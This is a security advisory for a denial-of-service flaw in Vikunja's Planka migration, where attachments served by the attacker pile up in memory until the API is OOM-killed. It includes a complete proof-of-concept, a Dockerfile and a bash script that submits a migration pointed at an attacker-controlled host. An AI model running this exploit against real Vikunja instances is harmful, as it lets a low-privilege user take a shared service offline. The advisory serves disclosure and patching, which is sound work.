Advisory

GHSA-wq92-8x3r-fm38

Also known as: CVE-2026-91970, GO-2026-6757

Summary

Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Details

Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Summary

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.

Impact and affected scope

  • Type: Resource Exhaustion Dos
  • Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
  • Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
  • Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026
  • Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced

A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.

Technical details

Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.

Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination

Relevant code:

  • pkg/routes/api/v2/migration_credentials.go:35
  • pkg/routes/api/v2/migration_shared.go:73
  • pkg/routes/api/v2/migration_shared.go:95
  • pkg/modules/migration/planka/client.go:37
  • pkg/modules/migration/planka/client.go:356
  • pkg/modules/migration/planka/fetch.go:29
  • pkg/modules/migration/planka/fetch.go:32
  • pkg/modules/migration/planka/convert.go:275
  • pkg/modules/migration/planka/convert.go:280
  • pkg/modules/migration/planka/convert.go:293
  • pkg/modules/migration/planka/planka.go:86
  • pkg/modules/migration/planka/planka.go:100

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27-bookworm AS builder

WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
    && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
    && go build -o /out/vikunja .

FROM golang:1.27-bookworm

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl python3 \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh

Create reproduction/verify.sh:

#!/usr/bin/env bash
set -euo pipefail

test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"

mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/

python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
  if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    kill "${VIKUNJA_PID}" 2>/dev/null || true
    wait "${VIKUNJA_PID}" 2>/dev/null || true
  fi
  if kill -0 "${PLANKA_PID}" 2>/dev/null; then
    kill "${PLANKA_PID}" 2>/dev/null || true
    wait "${PLANKA_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

for _ in $(seq 1 90); do
  if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
    && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
    break
  fi
  sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null

REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","email":"[email protected]","password":"PoC-Test-Password-123!"}' \
  http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
  http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"

BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
  -H "Authorization: Bearer ${TOKEN}" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
  http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"

for _ in $(seq 1 90); do
  if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    break
  fi
  sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
  echo "[PoC] target survived unexpectedly" >&2
  tail -n 80 /work/vikunja.log >&2
  tail -n 80 /work/planka.log >&2
  exit 1
fi

set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"

test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
  echo "[PoC] health endpoint remained available after target exit" >&2
  exit 1
fi

kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-10-09 20:53 UTC
Modified
2026-10-19 21:41 UTC

Affected packages and fixes

code.vikunja.io/api

Go · All systems

Affected

  • introduced 2.5.0, fixed 2.6.0 (semver)

Fixed versions

2.6.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences